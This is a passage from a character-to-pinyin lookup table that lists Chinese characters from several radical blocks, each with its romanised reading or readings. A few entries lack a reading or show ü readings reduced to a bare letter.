gan 苸 hu 苹 ping 苺 mei 苻 fu 苼 sheng 苽 gu 苾 bi 苿 wei 茀 fu 茁 zhuo 茂 mao 范 fan 茄 jia,qie 茅 mao 茆 mao 茇 ba 茈 ci,zi 茉 mo 茊 zi 茋 zhi 茌 chi 茍 ji 茎 jing 茏 long 茐 cong 茑 niao 茒 yuan 茓 xue 茔 ying 茕 qiong 茖 ge 茗 ming 茘 li 茙 rong 茚 yin 茛 gen 茜 qian,xi 茝 chai,zhi 茞 chen 茟 yu 茠 hao 茡 zi 茢 lie 茣 wu 茤 ji 茥 gui 茦 ci 茧 jian 茨 ci 茩 hou 茪 guang 茫 mang 茬 cha 茭 jiao 茮 jiao 茯 fu 茰 yu 茱 zhu 茲 zi 茳 jiang 茴 hui 茵 yin 茶 cha 茷 fa 茸 rong 茹 ru 茺 chong 茻 mang 茼 tong 茽 zhong 茿 zhu 荀 xun 荁 huan 荂 fu 荃 quan 荄 gai 荅 da 荆 jing 荇 xing 荈 chuan 草 cao 荊 jing 荋 er 荌 an 荍 qiao 荎 chi 荏 ren 荐 jian 荑 yi,ti 荒 huang 荓 ping 荔 li 荕 jin 荖 lao 荗 shu 荘 zhuang 荙 da 荚 jia 荛 yao,rao 荜 bi 荝 ce 荞 qiao 荟 hui 荠 ji,qi 荡 dang 荢 zi 荣 rong 荤 xun,hun 荥 ying,xing 荦 luo 荧 ying 荨 qian,xun 荩 jin 荪 sun 荫 yin 荬 mai 荭 hong 荮 zhou 药 yao 荰 du 荱 wei 荲 li 荳 dou 荴 fu 荵 ren 荶 yin 荷 he 荸 bi 荹 bu 荺 yun 荻 di 荼 shu,tu 荽 荾 sui 荿 cheng 莀 chen 莁 wu 莂 bie 莃 xi 莄 geng 莅 li 莆 pu 莇 zhu 莈 mo 莉 li 莊 zhuang 莋 zuo 莌 tuo 莍 qiu 莎 suo,sha 莏 suo 莐 chen 莑 peng 莒 ju 莓 mei 莔 meng 莕 xing 莖 jing 莗 che 莘 shen,xin 莙 jun 莚 yan 莛 ting 莜 you 莝 cuo 莞 guan,wan 莟 han 莠 you 莡 cuo 莢 jia 莣 wang 莤 su 莥 niu 莦 shao 莧 xian 莨 lang,liang 莩 fu,piao 莪 e 莫 mo,mu 莬 wen 莭 jie 莮 nan 莯 mu 莰 kan 莱 lai 莲 lian 莳 shi 莴 wo 莵 tu 莶 xian 获 huo 莸 you 莹 ying 莺 ying 莻 莼 chun 莽 mang 莾 mang 莿 ci 菀 wan,yu 菁 jing 菂 di 菃 qu 菄 dong 菅 jian 菆 cuan,zou 菇 gu 菈 la 菉 lu 菊 ju 菋 wei 菌 jun 菍 nie 菎 kun 菏 he 菐 pu 菑 zi 菒 gao 菓 guo 菔 fu 菕 lun 菖 chang 菗 chou 菘 song 菙 chui 菚 zhan 菛 men 菜 cai 菝 ba 菞 li 菟 tu 菠 bo 菡 han 菢 bao 菣 qin 菤 juan 菥 xi 菦 qin 菧 di 菨 jie 菩 pu 菪 dang 菫 jin 菬 qiao 菭 tai 華 hua 菰 gu 菱 ling 菲 fei 菳 qin 菴 an 菵 wang 菶 beng 菷 zhou 菸 yu 菹 zu 菺 jian 菻 lin 菼 tan 菽 shu 菾 tian 菿 dao 萀 hu 萁 qi 萂 he 萃 cui 萄 tao 萅 chun 萆 bi 萇 chang 萈 huan 萉 fei 萊 lai 萋 qi 萌 meng 萍 ping 萎 wei 萏 dan 萐 sha 萑 huan 萒 yan 萓 yi 萔 tiao 萕 qi 萖 wan 萗 ce 萘 nai 萙 萚 tuo 萛 jiu 萜 tie 萝 luo 萞 bi 萟 yi 萠 pan 萡 bo 萢 pao 萣 ding 萤 ying 营 ying 萦 ying 萧 xiao 萨 sa 萩 qiu 萪 ke 萫 xiang 萬 wan 萭 yu 萮 yu 萯 fu 萰 lian 萱 xuan 萲 xuan 萳 nan 萴 ce 萵 wo 萶 chun 萷 shao 萸 yu 萹 bian 萺 mao 萻 an 萼 e 落 luo,lao,la 萾 ying 萿 kuo 葀 kuo 葁 jiang 葂 mian 葃 zuo 葄 zuo 葅 zu 葆 bao 葇 rou 葈 xi 葉 ye 葊 an 葋 qu 葌 jian 葍 fu 葎 l 葏 jing 葐 pen 葑 feng 葒 hong 葓 hong 葔 hou 葕 xing 葖 tu 著 zhu 葘 zi 葙 xiang 葚 shen,ren 葛 ge 葜 qia 葝 qing 葞 mi 葟 huang 葠 shen 葡 pu 葢 gai 董 dong 葤 zhou 葥 qian 葦 wei 葧 bo 葨 wei 葩 pa 葪 ji 葫 hu 葬 zang 葭 jia,xia 葮 duan 葯 yao 葰 jun 葱 cong 葲 quan 葳 wei 葴 zhen 葵 kui 葶 ting 葷 hun 葸 xi 葹 shi 葺 qi 葻 lan 葼 zong 葾 yuan 葿 mei 蒀 yun 蒁 shu 蒂 di 蒃 zhuan 蒄 guan 蒅 蒆 xue 蒇 chan 蒈 kai 蒉 kui 蒊 蒋 jiang 蒌 lou 蒍 wei 蒎 pai 蒏 yong 蒐 sou 蒑 yin 蒒 shi 蒓 chun 蒔 shi 蒕 yun 蒖 zhen 蒗 lang 蒘 ru 蒙 meng 蒚 li 蒛 que 蒜 suan 蒝 yuan 蒞 li 蒟 ju 蒠 xi 蒡 bang 蒢 chu 蒣 xu 蒤 tu 蒥 liu 蒦 huo 蒧 dian 蒨 qian 蒩 zu 蒪 po 蒫 cuo 蒬 yuan 蒭 chu 蒮 yu 蒯 kuai 蒰 pan 蒱 pu 蒲 pu 蒳 na 蒴 shuo 蒵 xi 蒶 fen 蒷 yun 蒸 zheng 蒹 jian 蒺 ji 蒻 ruo 蒼 cang 蒽 en 蒾 mi 蒿 hao 蓀 sun 蓁 zhen 蓂 mi,ming 蓃 sou 蓄 xu 蓅 liu 蓆 xi 蓇 gu 蓈 lang 蓉 rong 蓊 weng 蓋 gai 蓌 cuo 蓍 shi 蓎 tang 蓏 luo 蓐 ru 蓑 suo 蓒 xuan 蓓 bei 蓔 yao 蓕 gui 蓖 bi 蓗 zong 蓘 gun 蓙 蓚 tiao 蓛 ce 蓜 蓝 lan 蓞 dan 蓟 ji 蓠 li 蓡 shen 蓢 lang 蓣 yu 蓤 ling 蓥 ying 蓦 mo 蓧 diao 蓨 tiao 蓩 mao 蓪 tong 蓫 zhu 蓬 peng 蓭 an 蓮 lian 蓯 cong 蓰 xi 蓱 ping 蓲 qiu 蓳 jin 蓴 chun 蓵 jie 蓶 wei 蓷 tui 蓸 cao 蓹 yu 蓺 yi 蓻 zi 蓼 liao,lu 蓽 bi 蓾 lu 蓿 蔀 bu 蔁 zhang 蔂 lei 蔄 man 蔅 yan 蔆 ling 蔇 ji 蔈 biao 蔉 gun 蔊 han 蔋 di 蔌 su 蔍 lu 蔎 she 蔏 shang 蔐 di 蔑 mie 蔒 hun 蔓 man,wan 蔔 蔕 di 蔖 cuo 蔗 zhe 蔘 shen 蔙 xuan 蔚 wei,yu 蔛 hu 蔜 ao 蔝 mi 蔞 lou 蔟 cu 蔠 zhong 蔡 cai 蔢 po 蔣 jiang 蔤 mi 蔥 cong 蔦 niao 蔧 hui 蔨 juan 蔩 yin 蔪 jian 蔫 nian 蔬 shu 蔭 yin 蔮 guo 蔯 chen 蔰 hu 蔱 sha 蔲 kou 蔳 qian 蔴 ma 蔵 zang 蔶 ze 蔷 qiang 蔸 dou 蔹 lian 蔺 lin 蔻 kou 蔼 ai 蔽 bi 蔾 li 蔿 wei 蕀 ji 蕁 qian 蕂 sheng 蕃 fan,bo 蕄 meng 蕅 ou 蕆 chan 蕇 dian 蕈 xun 蕉 jiao,qiao 蕊 rui 蕋 rui 蕌 lei 蕍 yu 蕎 qiao 蕏 zhu 蕐 hua 蕑 jian 蕒 蕓 yun 蕔 bao 蕕 you 蕖 qu 蕗 lu 蕘 rao 蕙 hui 蕚 e 蕛 ti 蕜 fei 蕝 jue 蕞 zui 蕟 fa 蕠 ru 蕡 fen 蕢 kui 蕣 shun 蕤 rui 蕥 ya 蕦 xu 蕧 fu 蕨 jue 蕩 dang 蕪 wu 蕫 dong 蕬 si 蕭 xiao 蕮 xi 蕯 sa 蕰 wen 蕱 蕲 qi 蕳 jian 蕴 yun 蕵 sun 蕶 ling 蕷 yu 蕸 xia 蕹 weng 蕺 ji 蕻 hong 蕼 si 蕽 nong 蕾 lei 蕿 xuan 薀 yun 薁 yu 薃 hao 薄 bo,bao 薅 hao 薆 ai 薇 wei 薈 hui 薉 hui 薊 ji 薋 ci 薌 xiang 薍 wan 薎 mie 薏 yi 薐 leng 薑 jiang 薒 can 薓 shen 薔 qiang 薕 lian 薖 ke 薗 yuan 薘 da 薙 ti 薚 tang 薛 xue 薜 bi 薝 zhan 薞 sun 薟 xian 薠 fan 薡 ding 薢 xie 薣 gu 薤 xie 薥 shu 薦 jian 薧 hao 薨 hong 薩 sa 薪 xin 薫 xun 薬 yao 薭 bai 薮 sou 薯 shu 薰 xun 薱 dui 薲 pin 薳 wei 薴 ning 薵 chou 薶 mai 薷 ru 薸 piao 薹 tai 薺 ji 薻 zao 薼 chen 薽 zhen 薾 er 薿 ni 藀 ying 藁 gao 藂 cong 藃 xiao 藄 qi 藅 fa 藆 jian 藇 xu 藈 kui 藉 ji,jie 藊 bian 藋 diao 藌 mi 藍 lan 藎 jin 藏 cang,zang 藐 miao 藑 qiong 藒 qi 藓 xian 藔 liao 藕 ou 藖 xian 藗 su 藘 l 藙 yi 藚 xu 藛 xie 藜 li 藝 yi 藞 la 藟 lei 藠 jiao 藡 di 藢 zhi 藣 bei 藤 teng 藥 yao 藦 mo 藧 huan 藨 biao 藩 fan 藪 sou 藫 tan 藬 tui 藭 qiong 藮 qiao 藯 wei 藰 liu 藱 hui 藲 ou 藳 gao 藴 yun 藵 藶 li 藷 shu 藸 zhu 藺 lin 藻 zao 藼 xuan 藽 qin 藾 lai 藿 huo 蘀 tuo 蘁 wu 蘂 rui 蘃 rui 蘄 qi 蘅 heng 蘆 lu 蘇 su 蘈 tui 蘉 mang 蘊 yun 蘋 pin 蘌 yu 蘍 xun 蘎 ji 蘏 jiong 蘐 xuan 蘑 mo 蘒 蘓 su 蘔 jiong 蘕 peng 蘖 nie 蘗 bo 蘘 rang 蘙 yi 蘚 xian 蘛 yu 蘜 ju 蘝 lian 蘞 lian 蘟 yin 蘠 qiang 蘡 ying 蘢 long 蘣 tou 蘤 hua 蘥 yue 蘦 ling 蘧 qu 蘨 yao 蘩 fan 蘪 mi 蘫 lan 蘬 gui 蘭 lan 蘮 ji 蘯 dang 蘰 蘱 lei 蘲 lei 蘳 hui 蘴 feng 蘵 zhi 蘶 wei 蘷 kui 蘸 蘹 huai 蘺 li 蘻 ji 蘼 mi 蘽 lei 蘾 huai 蘿 luo 虀 ji 虁 kui 虂 lu 虃 jian 虄 虅 teng 虆 lei 虇 quan 虈 xiao 虉 yi 虊 luan 虋 men 虌 bie 虍 hu 虎 hu 虏 lu 虐 n 虑 l 虒 si 虓 xiao 虔 qian 處 chu 虖 hu 虗 xu 虘 cuo 虙 fu 虚 xu 虛 xu 虜 lu 虝 hu 虞 yu 號 hao 虠 jiao 虡 ju 虢 guo 虣 bao 虤 yan 虥 zhan 虦 zhan 虧 kui 虨 bin 虩 xi 虪 shu 虫 chong,hui 虬 qiu 虮 ji 虯 qiu 虰 ding 虱 shi 虲 虳 jue 虴 zhe 虵 she 虶 yu 虷 han 虸 zi 虹 hong 虺 hui 虻 meng 虼 ge 虽 sui 虾 ha,xia 虿 chai 蚀 shi 蚁 yi 蚂 ma 蚃 xiang 蚄 fang 蚅 e 蚆 ba 蚇 chi 蚈 qian 蚉 wen 蚊 wen 蚋 rui 蚌 bang,beng 蚍 pi 蚎 yue 蚏 yue 蚐 jun 蚑 qi 蚒 tong 蚓 yin 蚔 qi 蚕 can 蚖 yuan 蚗 jue 蚘 hui 蚙 qin 蚚 qi 蚛 zhong 蚜 ya 蚝 hao 蚞 mu 蚟 wang 蚠 fen 蚡 fen 蚢 hang 蚣 gong 蚤 zao 蚥 fu 蚦 ran 蚧 jie 蚨 fu 蚩 chi 蚪 dou 蚫 bao 蚬 xian 蚭 ni 蚮 dai 蚯 qiu 蚰 you 蚱 zha 蚲 ping 蚳 chi 蚴 you 蚵 ke 蚶 han 蚷 ju 蚸 li 蚹 fu 蚺 ran 蚻 zha 蚼 gou 蚽 pi 蚾 pi 蚿 xian 蛀 zhu 蛁 diao 蛂 bie 蛃 bing 蛄 gu 蛅 zhan 蛆 qu,ju 蛇 she,yi 蛈 tie 蛉 ling 蛊 gu 蛋 dan 蛌 tun 蛍 ying 蛎 li 蛏 cheng 蛐 qu 蛑 mou 蛒 ge 蛓 ci 蛔 hui 蛕 hui 蛖 mang 蛗 fu 蛘 yang 蛙 wa 蛚 lie 蛛 zhu 蛜 yi 蛝 xian 蛞 kuo 蛟 jiao 蛠 li 蛡 yi 蛢 ping 蛣 jie 蛤 ge,ha 蛥 she 蛦 yi 蛧 wang 蛨 mo 蛩 qiong 蛪 qie 蛫 gui 蛬 qiong 蛭 zhi 蛮 man 蛯 蛰 zhe 蛱 jia 蛲 nao 蛳 si 蛴 qi 蛵 xing 蛶 jie 蛷 qiu 蛸 xiao,shao 蛹 yong 蛺 jia 蛻 tui 蛼 che 蛽 bei 蛾 e,yi 蛿 han 蜀 shu 蜁 xuan 蜂 feng 蜃 shen 蜄 shen 蜅 fu 蜆 xian 蜇 zhe 蜈 wu 蜉 fu 蜊 li 蜋 lang 蜌 bi 蜍 chu 蜎 yuan 蜏 you 蜐 jie 蜑 dan 蜒 yan 蜓 ting 蜔 dian 蜕 tui 蜖 hui 蜗 wo 蜘 zhi 蜚 fei 蜛 ju 蜜 mi 蜝 qi 蜞 qi 蜟 yu 蜠 jun 蜡 zha,la 蜢 meng 蜣 qiang 蜤 si 蜥 xi 蜦 lun 蜧 li 蜨 die 蜩 tiao 蜪 tao 蜫 kun 蜬 han 蜭 han 蜮 yu 蜯 bang 蜰 fei 蜱 pi 蜲 wei 蜳 dun 蜴 yi 蜵 yuan 蜶 suo 蜷 quan 蜸 qian 蜹 rui 蜺 ni 蜻 qing 蜼 wei 蜽 liang 蜾 guo 蜿 wan 蝀 dong 蝁 e 蝂 ban 蝃 di 蝄 wang 蝅 can 蝆 yang 蝇 ying 蝈 guo 蝉 chan 蝊 蝋 la 蝌 ke 蝍 ji 蝎 xie 蝏 ting 蝐 mao 蝑 xu 蝒 mian 蝓 yu 蝔 jie 蝕 shi 蝖 xuan 蝗 huang 蝘 yan 蝙 bian 蝚 rou 蝛 wei 蝜 fu 蝝 yuan 蝞 mei 蝟 wei 蝠 fu 蝡 ru 蝢 xie 蝣 you 蝤 qiu,you 蝥 mao 蝦 xia 蝧 ying 蝨 shi 蝩 chong 蝪 tang 蝫 zhu 蝬 zong 蝭 di 蝮 fu 蝯 yuan 蝰 kui 蝱 meng 蝲 la 蝳 dai 蝴 hu 蝵 qiu 蝶 die 蝷 li 蝸 wo 蝹 yun 蝺 qu 蝻 nan 蝼 lou 蝽 chun 蝾 rong 蝿 ying 螀 jiang 螁 螂 lang 螃 pang 螄 si 螅 xi 螅 xi 螆 ci 螇 xi 螈 yuan 螉 weng 螊 lian 螋 sou 螌 ban 融 rong 螎 rong 螏 ji 螐 wu 螑 xiu 螒 han 螓 qin 螔 yi 螕 bi 螖 hua 螗 tang 螘 yi 螙 du 螚 nai 螛 he 螜 hu 螝 gui 螞 ma 螟 ming 螠 yi 螡 wen 螢 ying 螣 teng 螤 zhong 螦 sao 螧 螨 man 螩 dao 螪 shang 螫 shi,zhe 螬 cao 螭 chi 螮 di 螯 ao 螰 lu 螱 wei 螲 die,zhi 螳 tang 螴 chen 螵 piao 螶 qu 螷 pi 螸 yu 螹 chan 螺 luo 螻 lou 螼 qin 螽 zhong 螾 yin 螿 jiang 蟀 shuai 蟁 wen 蟂 xiao 蟃 wan 蟄 zhe 蟅 zhe 蟆 ma 蟇 蟈 guo 蟉 liu 蟊 mao 蟋 xi 蟌 cong 蟍 li 蟎 man 蟏 xiao 蟐 蟑 zhang 蟒 mang 蟓 xiang 蟔 mo 蟕 zui 蟖 si 蟗 qiu 蟘 te 蟙 zhi 蟚 peng 蟛 peng 蟜 jiao 蟝 qu 蟞 bie 蟟 liao 蟠 pan 蟡 gui 蟢 xi 蟣 ji 蟤 zhuan 蟥 huang 蟦 fei 蟧 lao 蟨 jue 蟩 jue 蟪 hui 蟫 yin 蟬 chan 蟭 jiao 蟮 shan 蟯 nao 蟰 xiao 蟱 wu 蟲 chong 蟳 xun 蟴 si 蟵 蟶 cheng 蟷 dang 蟸 li 蟹 xie 蟺 shan 蟻 yi 蟼 jing 蟽 da 蟾 chan 蟿 qi 蠀 ci 蠁 xiang 蠂 she 蠃 luo 蠄 qin 蠅 ying 蠆 chai 蠇 li 蠈 zei 蠉 xuan 蠊 lian 蠋 zhu 蠌 ze 蠍 xie 蠎 mang 蠏 xie 蠐 qi 蠑 rong 蠒 jian 蠓 meng 蠔 hao 蠕 ru 蠖 huo 蠗 zhuo 蠘 jie 蠙 bin 蠚 he 蠛 mie 蠜 fan 蠝 lei 蠞 jie 蠟 la 蠠 min 蠡 luo,li 蠢 chun 蠣 li 蠥 nie 蠦 lu 蠧 du 蠨 xiao 蠩 zhu 蠪 long 蠫 li 蠬 long 蠭 feng 蠮 ye 蠯 pi 蠰 nang 蠱 gu 蠲 juan 蠳 ying 蠴 蠵 xi 蠶 can 蠷 qu 蠸 quan 蠹 du 蠺 can 蠻 man 蠼 qu 蠽 jie 蠾 zhu 蠿 zhuo 血 xie 衁 huang 衂 n 衃 pei 衄 n 衅 xin 衆 zhong 衇 mai 衈 er 衉 ke 衊 mie 衋 xi 行 hang,heng,xing 衍 yan 衎 kan 衏 yuan 衐 衑 ling 衒 xuan 術 shu 衔 xian 衕 tong 衖 xiang 街 jie 衘 衙 ya 衚 hu 衛 wei 衜 dao 衝 chong 衞 wei 衟 dao 衠 zhun 衡 heng 衢 qu 衣 yi 衤 yi 补 bu 衦 gan 衧 yu 表 biao 衩 cha 衪 yi 衫 shan 衬 chen 衭 fu 衮 gun 衯 fen 衰 shuai 衱 jie 衲 na 衳 zhong 衴 dan 衵 ri 衶 zhong 衷 zhong 衸 jie 衹 zhi 衺 xie 衻 ran 衼 zhi 衽 ren 衾 qin 衿 jin 袀 jun 袁 yuan 袂 mei 袃 chai 袄 ao 袅 niao 袆 hui 袇 ran 袈 jia 袉 tuo 袊 ling 袋 dai 袌 pao,bao 袍 pao 袎 yao 袏 zuo 袐 bi 袑 shao 袒 tan 袓 ju 袔 he 袕 xue 袖 xiu 袗 zhen 袘 yi 袙 pa 袚 fu 袛 di 袜 mo,wa 袝 fu 袞 gun 袟 zhi 袠 zhi 袡 ran 袢 fan,pan 袣 yi 袤 mao 袥 tuo 袦 na 袧 gou 袨 xuan 袩 zhe 袪 qu 被 bei,pi 袭 xi 袮 袯 bo 袰 袱 fu 袲 chi 袳 chi 袴 ku 袵 ren 袶 peng 袷 qia 袸 jian 袹 bo 袺 jie 袻 er 袼 ge 袽 ru 袾 zhu 袿 gui 裀 yin 裁 cai 裂 lie 裃 裄 hang 装 zhuang 裆 dang 裇 xu 裈 kun 裉 ken 裊 niao 裋 shu 裌 jia 裍 kun 裎 cheng 裏 li 裐 juan 裑 shen 裒 pou 裓 ge 裔 yi 裕 yu 裖 zhen 裗 liu 裘 qiu 裙 qun 裚 ji 裛 yi 補 bu 裝 zhuang 裞 shui 裟 sha 裠 qun 裡 li 裢 lian 裣 lian 裤 ku 裥 jian 裦 bao 裧 chan 裨 bi,pi 裩 kun 裪 tao 裫 yuan 裬 ling 裭 chi 裮 chang 裯 chou 裰 duo 裱 biao 裲 liang 裳 chang 裴 pei 裵 pei 裶 fei 裷 yuan 裸 luo 裹 guo 裺 yan 裻 du 裼 ti,xi 製 zhi 裾 ju 裿 yi 褀 qi 褁 guo 褂 gua 褃 ken 褄 褅 ti 褆 ti 複 fu 褈 chong 褉 xie 褊 bian,pian 褋 die 褌 kun 褍 duan 褎 xiu,you 褏 xiu 褐 he 褑 yuan 褒 bao 褓 bao 褔 fu 褕 yu 褖 tuan 褗 yan 褘 hui 褙 bei 褚 chu,zhe,zhu 褛 l 褜 褝 dan 褞 yun 褟 ta 褠 gou 褡 da 褢 huai 褣 rong 褤 yuan 褥 ru 褦 nai 褧 jiong 褨 suo 褩 ban 褪 tui,tun 褫 chi 褬 sang 褭 niao 褮 ying 褯 jie 褰 qian 褱 huai 褲 ku 褳 lian 褴 lan 褵 li 褶 xi,zhe 褷 shi 褹 yi 褺 die 褻 xie 褼 xian 褽 wei 褾 biao 褿 cao 襀 ji 襁 qiang 襂 sen 襃 bao 襄 xiang 襅 襆 fu 襇 jian 襈 zhuan 襉 jian 襊 cui 襋 ji 襌 dan 襍 za 襎 fan 襏 bo 襐 xiang 襑 xin 襒 bie 襓 rao 襔 襕 lan 襖 ao 襗 ze 襘 gui 襙 cao 襚 sui 襛 nong 襜 chan 襝 lian 襞 bi 襟 jin 襠 dang 襡 shu 襢 zhan 襣 bi 襤 lan 襥 fu 襦 ru 襧 zhi 襨 襩 shu 襪 wa 襫 shi 襬 bai 襭 xie 襮 bo 襯 chen 襰 lai 襱 long 襲 xi 襳 xian 襴 lan 襵 zhe 襶 dai 襷 襸 zan 襹 shi 襺 jian 襻 pan 襼 yi 襽 lan 襾 ya 西 xi 覀 ya 要 yao 覂 feng 覃 qin,tan 覄 fu 覅 fiao 覆 fu 覇 ba 覈 he 覉 ji 覊 ji 見 jian 覌 guan 覍 bian 覎 yan 規 gui 覐 jue 覑 pian 覒 mao 覓 mi 覔 mi 覕 pie 視 shi 覗 si 覘 chan 覙 zhen 覚 jue 覛 mi 覜 tiao 覝 lian 覞 yao 覟 zhi 覠 jun 覡 xi 覣 wei 覤 xi 覥 tian 覦 yu 覧 lan 覨 e 覩 du 親 qin 覫 pang 覬 ji 覭 ming 覮 ying 覯 gou 覰 qu 覱 zhan 覲 jin 観 guan 覴 deng 覵 jian 覶 luo 覷 qu 覸 jian 覹 wei 覺 jue 覻 qu 覼 luo 覽 lan 覾 shen 覿 di 觀 guan 见 xian,jian 观 guan 觃 yan 规 gui 觅 mi 视 shi 觇 chan 览 lan 觉 jiao,jue 觊 ji 觋 xi 觌 di 觍 tian 觎 yu 觏 gou 觐 jin 觑 qu 角 jiao,jue 觓 qiu 觔 jin 觕 cu 觖 jue 觗 zhi 觘 chao 觙 ji 觚 gu 觛 dan 觜 zi,zui 觝 di 觞 shang 觟 hua 觠 quan 觡 ge 觢 shi 解 jie,xie 觤 gui 觥 gong 触 chu 觧 jie 觨 hun 觩 qiu 觪 xing 觫 su 觬 ni 觭 ji 觮 jue 觯 zhi 觰 zha 觱 bi 觲 xing 觳 hu 觴 shang 觵 gong 觶 zhi 觷 xue 觸 chu 觹 xi 觺 yi 觻 li 觼 jue 觽 xi 觾 yan 觿 xi 言 yan 訁 yan 訂 ding 訃 fu 訄 qiu 訅 qiu 訆 jiao 訇 hong 計 ji 訉 fan 訊 xun 訋 diao 訌 hong 訍 chai 討 tao 訏 xu 訐 jie 訑 yi 訒 ren 訓 xun 訔 yin 訕 shan 訖 qi 託 tuo 記 ji 訙 xun 訚 yin 訛 e 訜 fen 訝 ya 訟 song 訠 shen 訡 yin 訢 xin 訣 jue 訤 xiao 訥 ne 訦 chen 訧 you 訨 zhi 訩 xiong 訪 fang 訫 xin 訬 chao 設 she 訮 yan 訯 sa 訰 zhun 許 xu 訲 yi 訳 yi 訴 su 訵 chi 訶 he 訷 shen 訸 he 訹 xu 診 zhen 註 zhu 証 zheng 訽 gou 訾 zi 訿 zi 詀 zhan 詁 gu 詂 fu 詃 jian 詄 die 詅 ling 詆 di 詇 yang 詈 li 詉 nao 詊 pan 詋 zhou 詌 gan 詍 yi 詎 ju 詏 yao 詐 zha 詑 tuo 詒 yi 詓 qu 詔 zhao 評 ping 詖 bi 詗 xiong 詘 qu 詙 ba 詚 da 詛 zu 詜 tao 詝 zhu 詞 ci 詟 zhe 詠 yong 詡 xu 詢 xun 詣 yi 詤 huang 詥 he 試 shi 詧 cha 詨 xiao 詩 shi 詪 hen 詫 cha 詬 gou 詭 gui 詮 quan 詯 hui 詰 jie 話 hua 該 gai 詳 xiang 詴 wei 詵 shen 詶 chou 詷 tong 詸 mi 詹 zhan 詺 ming 詻 luo 詼 hui 詽 yan 詾 xiong 詿 gua 誀 er 誂 tiao 誃 yi 誄 lei 誅 zhu 誆 kuang 誇 kua 誈 wu 誉 yu 誊 teng 誋 ji 誌 zhi 認 ren 誎 cu 誏 lang 誐 e 誑 kuang 誒 ei 誓 shi 誔 ting 誕 dan 誖 bei 誗 chan 誘 you 誙 keng 誚 qiao 誛 qin 誜 shua 誝 an 語 yu 誟 xiao 誠 cheng 誡 jie 誢 xian 誣 wu 誤 wu 誥 gao 誦 song 誧 bu 誨 hui 誩 jing 說 shuo 誫 zhen 説 shuo 読 du 誮 誯 chang 誰 shui 誱 jie 課 ke 誳 qu 誴 cong 誵 xiao 誶 sui 誷 wang 誸 xian 誹 fei 誺 chi 誻 ta 誼 yi 誽 ni 誾 yin 調 diao 諀 pi 諁 zhuo 諂 chan 諃 chen 諄 zhun 諅 ji 諆 ji 談 tan 諈 zhui 諉 wei 諊 ju 請 qing 諌 dong 諍 zheng 諎 ze 諏 zou 諐 qian 諑 zhuo 諒 liang 諓 jian 諔 chu 諕 xia 論 lun 諗 shen 諘 biao 諙 hua 諚 bian 諛 yu 諜 die 諝 xu 諞 pian 諟 shi 諠 xuan 諡 shi 諢 hun 諣 hua 諥 zhong 諦 di 諧 xie 諨 fu 諩 pu 諪 ting 諫 jian 諬 qi 諭 yu 諮 zi 諯 zhuan 諰 xi 諱 hui 諲 yin 諳 an 諴 xian 諵 nan 諶 chen 諷 feng 諸 zhu 諹 yang 諺 yan 諻 huang 諼 xuan 諽 ge 諾 nuo 諿 xu 謀 mou 謁 ye 謂 wei 謃 謄 teng 謅 zhou 謆 shan 謇 jian 謈 bo 謉 kui 謊 huang 謋 huo 謌 ge 謍 ying 謎 mi 謏 xiao 謐 mi 謑 xi 謒 qiang 謓 chen 謔 xue 謕 ti 謖 su 謗 bang 謘 chi 謙 qian 謚 shi 講 jiang 謜 yuan 謝 xie 謞 he 謟 tao 謠 yao 謡 yao 謢 lu 謣 yu 謤 biao 謥 cong 謦 qing 謧 li 謨 mo 謩 mo 謪 shang 謫 zhe 謬 miu 謭 jian 謮 ze 謯 jie 謰 lian 謱 lou 謲 can 謳 ou 謴 gun 謵 xi 謶 zhuo 謷 ao 謸 ao 謹 jin 謺 zhe 謻 yi 謼 hu 謽 jiang 謾 man 謿 chao 譀 han 譁 hua 譂 chan 譃 xu 譄 zeng 譅 se 譇 zha 譈 dui 證 zheng 譊 nao 譋 lan 譌 e 譍 ying 譎 jue 譏 ji 譐 zun 譑 jiao 譒 bo 譓 hui 譔 zhuan 譕 wu 譖 zen 譗 zha 識 shi 譙 qiao 譚 tan 譛 jian 譜 pu 譝 sheng 譞 xuan 譟 zao 譠 tan 譡 dang 譢 sui 譣 xian 譤 ji 譥 jiao 警 jing 譧 zhan 譨 nong 譩 yi 譪 ai 譫 zhan 譬 pi 譭 hui 譮 hua 譯 yi 議 yi 譱 shan 譲 rang 譳 rou 譴 qian 譵 dui 譶 ta 護 hu 譸 zhou 譹 hao 譺 ai 譻 ying 譼 jian 譽 yu 譾 jian 譿 hui 讀 du 讁 zhe 讂 juan 讃 zan 讄 lei 讅 shen 讆 wei 讇 chan 讈 li 讉 yi 變 bian 讋 zhe 讌 yan 讍 e 讎 chou 讏 wei 讐 chou 讑 yao 讒 chan 讓 rang 讔 yin 讕 lan 讖 chen 讗 xie 讘 nie 讙 huan 讚 zan 讛 yi 讜 dang 讝 zhan 讞 yan 讟 du 讠 yan 计 ji 订 ding 讣 fu 认 ren 讥 ji 讦 jie 讧 hong 讨 tao 让 rang 讪 shan 讫 qi 讬 tuo 训 xun 议 yi 讯 xun 记 ji 讱 ren 讲 jiang 讳 hui 讴 ou 讵 ju 讶 ya 讷 ne 许 xu 讹 e 论 lun 讻 xiong 讼 song 讽 feng 设 she 访 fang 诀 jue 证 zheng 诂 gu 诃 he 评 ping 诅 zu 识 shi,zhi 诇 xiong 诈 zha 诉 su 诊 zhen 诋 di 诌 zhou 词 ci 诎 qu 诏 zhao 诐 bi 译 yi 诒 yi 诓 kuang 诔 lei 试 shi 诖 gua 诗 shi 诘 jie 诙 hui 诚 cheng 诛 zhu 诜 shen 话 hua 诞 dan 诟 gou 诠 quan 诡 gui 询 xun 诣 yi 诤 zheng 该 gai 详 xiang 诧 cha 诨 hun 诩 xu 诪 zhou 诫 jie 诬 wu 语 yu 诮 qiao 误 wu 诰 gao 诱 you 诲 hui 诳 kuang 说 yue,tuo,shuo,shui 诵 song 诶 ai 请 qing 诸 zhu 诹 zou 诺 nuo 读 dou,du 诼 zhuo 诽 fei 课 ke 诿 wei 谀 yu 谁 shei,shui 谂 shen 调 zhou,tiao,diao 谄 chan 谅 liang 谆 zhun 谇 sui 谈 tan 谉 shen 谊 yi 谋 mou 谌 chen 谍 die 谎 huang 谏 jian 谐 xie 谑 xue 谒 ye 谓 wei 谔 e 谕 yu 谖 xuan 谗 chan 谘 zi 谙 an 谚 yan 谛 di 谜 mei,mi 谝 pian 谞 xu 谟 mo 谠 dang 谡 su 谢 xie 谣 yao 谤 bang 谥 shi 谦 qian 谧 mi 谨 jin 谩 man 谪 zhe 谫 jian 谬 miu 谭 tan 谮 zen 谯 qiao 谰 lan 谱 pu 谲 jue 谳 yan 谴 qian 谵 zhan 谶 chen 谷 gu,yu 谹 hong 谺 xia 谻 ji 谼 hong 谽 han 谾 hong 谿 xi 豀 xi 